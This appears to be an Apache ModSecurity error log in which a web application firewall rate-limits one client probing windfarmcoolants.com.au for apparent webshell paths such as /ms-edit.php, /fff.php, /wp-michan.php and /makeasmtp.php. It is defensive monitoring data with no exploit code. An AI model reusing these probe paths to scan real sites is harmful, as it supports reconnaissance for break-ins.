[Sun Apr 19 05:41:36.739610 2026] [:error] [pid 15765:tid 15866] [client 172.213.136.193:40831] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeP6kPRqinw-W5EwQ76D4wAAAo0"]
[Sun Apr 19 05:41:37.855045 2026] [:error] [pid 47775:tid 47849] [client 172.213.136.193:40191] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeP6kbmztjlk9tsmoexynAAAAIY"]
[Sun Apr 19 05:41:38.568021 2026] [:error] [pid 15764:tid 15827] [client 172.213.136.193:38340] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6kmLL_sqdSHoVp-Tr-wAAAkE"]
[Sun Apr 19 05:41:39.242097 2026] [:error] [pid 47772:tid 47802] [client 172.213.136.193:40791] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6k4c0L16cb4smAz-gYwAAAA0"]
[Sun Apr 19 05:41:40.157853 2026] [:error] [pid 15765:tid 15852] [client 172.213.136.193:17811] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6lPRqinw-W5EwQ76D5gAAAoA"]
[Sun Apr 19 05:41:41.435793 2026] [:error] [pid 15765:tid 15864] [client 172.213.136.193:40776] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6lfRqinw-W5EwQ76D6gAAAos"]
[Sun Apr 19 05:41:42.060020 2026] [:error] [pid 15694:tid 15748] [client 172.213.136.193:38339] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6lrimB-jol1fwqAq7uAAAAZY"]
[Sun Apr 19 05:41:42.799351 2026] [:error] [pid 47772:tid 47805] [client 172.213.136.193:40139] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6loc0L16cb4smAz-gZwAAABA"]
[Sun Apr 19 05:41:43.900931 2026] [:error] [pid 47772:tid 47804] [client 172.213.136.193:38391] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6l4c0L16cb4smAz-gbQAAAA8"]
[Sun Apr 19 05:41:44.798890 2026] [:error] [pid 47773:tid 47833] [client 172.213.136.193:17821] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6mOiBHdnCJDuPq9BV_gAAAFE"]
[Sun Apr 19 05:41:45.679061 2026] [:error] [pid 15763:tid 15804] [client 172.213.136.193:32538] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeP6mbMXv1Y1THOoxaAj6gAAAgg"]
[Sun Apr 19 05:41:46.218219 2026] [:error] [pid 47772:tid 47799] [client 172.213.136.193:40811] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeP6moc0L16cb4smAz-gcwAAAAo"]
[Sun Apr 19 05:41:46.975291 2026] [:error] [pid 47775:tid 47867] [client 172.213.136.193:27068] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeP6mrmztjlk9tsmoexypAAAAJg"]
[Sun Apr 19 05:41:47.694478 2026] [:error] [pid 47772:tid 47801] [client 172.213.136.193:27043] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeP6m4c0L16cb4smAz-gfAAAAAw"]
[Sun Apr 19 05:41:48.281021 2026] [:error] [pid 15765:tid 15853] [client 172.213.136.193:40772] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aeP6nPRqinw-W5EwQ76D8AAAAoE"]
[Sun Apr 19 05:41:48.967142 2026] [:error] [pid 47772:tid 47803] [client 172.213.136.193:32548] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aeP6nIc0L16cb4smAz-ggwAAAA4"]
[Sun Apr 19 05:41:49.584032 2026] [:error] [pid 15765:tid 15877] [client 172.213.136.193:40182] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aeP6nfRqinw-W5EwQ76D9AAAApg"]
[Sun Apr 19 05:41:50.164323 2026] [:error] [pid 15765:tid 15859] [client 172.213.136.193:17794] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aeP6nvRqinw-W5EwQ76D9gAAAoY"]
[Sun Apr 19 05:41:50.850160 2026] [:error] [pid 47772:tid 47811] [client 172.213.136.193:32571] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6noc0L16cb4smAz-ghwAAABY"]
[Sun Apr 19 05:41:51.433246 2026] [:error] [pid 15765:tid 15869] [client 172.213.136.193:27029] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6n_Rqinw-W5EwQ76D_AAAApA"]
[Sun Apr 19 05:41:51.933962 2026] [:error] [pid 15765:tid 15865] [client 172.213.136.193:40137] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6n_Rqinw-W5EwQ76D_QAAAow"]
[Sun Apr 19 05:41:52.759731 2026] [:error] [pid 15765:tid 15853] [client 172.213.136.193:32558] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeP6oPRqinw-W5EwQ76EAQAAAoE"]
[Sun Apr 19 05:41:53.372295 2026] [:error] [pid 47886:tid 47898] [client 172.213.136.193:40164] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeP6oUSe8yiyuPrD7yPtLAAAAMo"]
[Sun Apr 19 05:41:54.245563 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:32529] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeP6ooc0L16cb4smAz-gjwAAAAg"]
[Sun Apr 19 05:41:55.183944 2026] [:error] [pid 15763:tid 15802] [client 172.213.136.193:32549] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeP6o7MXv1Y1THOoxaAj8QAAAgY"]
[Sun Apr 19 05:41:56.048185 2026] [:error] [pid 15765:tid 15857] [client 172.213.136.193:40186] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeP6pPRqinw-W5EwQ76EBwAAAoQ"]
[Sun Apr 19 05:41:56.645469 2026] [:error] [pid 15765:tid 15852] [client 172.213.136.193:40779] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeP6pPRqinw-W5EwQ76ECQAAAoA"]
[Sun Apr 19 05:41:57.579220 2026] [:error] [pid 47886:tid 47890] [client 172.213.136.193:32551] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeP6pUSe8yiyuPrD7yPtMwAAAMI"]
[Sun Apr 19 05:41:58.196423 2026] [:error] [pid 47886:tid 47912] [client 172.213.136.193:5197] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeP6pkSe8yiyuPrD7yPtNgAAANg"]
[Sun Apr 19 05:41:58.887887 2026] [:error] [pid 15760:tid 15769] [client 172.213.136.193:40769] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeP6pvSdD_XHQMJ_ISsZewAAAcE"]
[Sun Apr 19 05:41:59.769222 2026] [:error] [pid 47886:tid 47895] [client 172.213.136.193:32562] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aeP6p0Se8yiyuPrD7yPtOgAAAMc"]
[Sun Apr 19 05:42:00.417460 2026] [:error] [pid 47886:tid 47898] [client 172.213.136.193:40796] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aeP6qESe8yiyuPrD7yPtPAAAAMo"]
[Sun Apr 19 05:42:01.074790 2026] [:error] [pid 47773:tid 47827] [client 172.213.136.193:40190] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aeP6qeiBHdnCJDuPq9BWCgAAAEs"]
[Sun Apr 19 05:42:01.905466 2026] [:error] [pid 47773:tid 47840] [client 172.213.136.193:27037] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aeP6qeiBHdnCJDuPq9BWEAAAAFg"]
[Sun Apr 19 05:42:02.643641 2026] [:error] [pid 47772:tid 47804] [client 172.213.136.193:17818] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeP6qoc0L16cb4smAz-gowAAAA8"]
[Sun Apr 19 05:42:03.351197 2026] [:error] [pid 15764:tid 15835] [client 172.213.136.193:38369] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeP6q2LL_sqdSHoVp-TsDAAAAkk"]
[Sun Apr 19 05:42:03.924942 2026] [:error] [pid 47773:tid 47825] [client 172.213.136.193:21179] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeP6q-iBHdnCJDuPq9BWFwAAAEk"]
[Sun Apr 19 05:42:04.723845 2026] [:error] [pid 15760:tid 15772] [client 172.213.136.193:38393] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeP6rPSdD_XHQMJ_ISsZfwAAAcQ"]
[Sun Apr 19 05:42:05.390983 2026] [:error] [pid 47886:tid 47906] [client 172.213.136.193:38347] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeP6rUSe8yiyuPrD7yPtRAAAANI"]
[Sun Apr 19 05:42:06.073458 2026] [:error] [pid 47886:tid 47912] [client 172.213.136.193:38367] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeP6rkSe8yiyuPrD7yPtRgAAANg"]
[Sun Apr 19 05:42:06.885145 2026] [:error] [pid 47886:tid 47896] [client 172.213.136.193:38358] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeP6rkSe8yiyuPrD7yPtSAAAAMg"]
[Sun Apr 19 05:42:07.459197 2026] [:error] [pid 47772:tid 47810] [client 172.213.136.193:38379] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeP6r4c0L16cb4smAz-gqQAAABU"]
[Sun Apr 19 05:42:08.072875 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:38336] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeP6sIc0L16cb4smAz-gsAAAAAg"]
[Sun Apr 19 05:42:08.618482 2026] [:error] [pid 15765:tid 15872] [client 172.213.136.193:26114] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeP6sPRqinw-W5EwQ76EFgAAApM"]
[Sun Apr 19 05:42:09.255188 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:32546] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeP6sUSe8yiyuPrD7yPtUQAAAMM"]
[Sun Apr 19 05:42:10.194282 2026] [:error] [pid 47775:tid 47864] [client 172.213.136.193:27046] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeP6srmztjlk9tsmoexyrwAAAJU"]
[Sun Apr 19 05:42:10.792559 2026] [:error] [pid 47772:tid 47811] [client 172.213.136.193:40134] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeP6soc0L16cb4smAz-gugAAABY"]
[Sun Apr 19 05:42:11.660384 2026] [:error] [pid 47886:tid 47897] [client 172.213.136.193:27050] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeP6s0Se8yiyuPrD7yPtVQAAAMk"]
[Sun Apr 19 05:42:12.629121 2026] [:error] [pid 15763:tid 15805] [client 172.213.136.193:17809] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeP6tLMXv1Y1THOoxaAj9AAAAgk"]
[Sun Apr 19 05:42:13.318109 2026] [:error] [pid 47772:tid 47806] [client 172.213.136.193:40830] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeP6tYc0L16cb4smAz-gxAAAABE"]
[Sun Apr 19 05:42:14.418896 2026] [:error] [pid 47772:tid 47809] [client 172.213.136.193:17829] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeP6toc0L16cb4smAz-gygAAABQ"]
[Sun Apr 19 05:42:15.572732 2026] [:error] [pid 47772:tid 47802] [client 172.213.136.193:17815] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeP6t4c0L16cb4smAz-gzAAAAA0"]
[Sun Apr 19 05:42:16.636867 2026] [:error] [pid 15765:tid 15852] [client 172.213.136.193:40809] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeP6uPRqinw-W5EwQ76EGwAAAoA"]
[Sun Apr 19 05:42:17.754742 2026] [:error] [pid 15765:tid 15869] [client 172.213.136.193:40819] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeP6ufRqinw-W5EwQ76EHQAAApA"]
[Sun Apr 19 05:42:18.607004 2026] [:error] [pid 47773:tid 47826] [client 172.213.136.193:40815] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeP6uuiBHdnCJDuPq9BWMgAAAEo"]
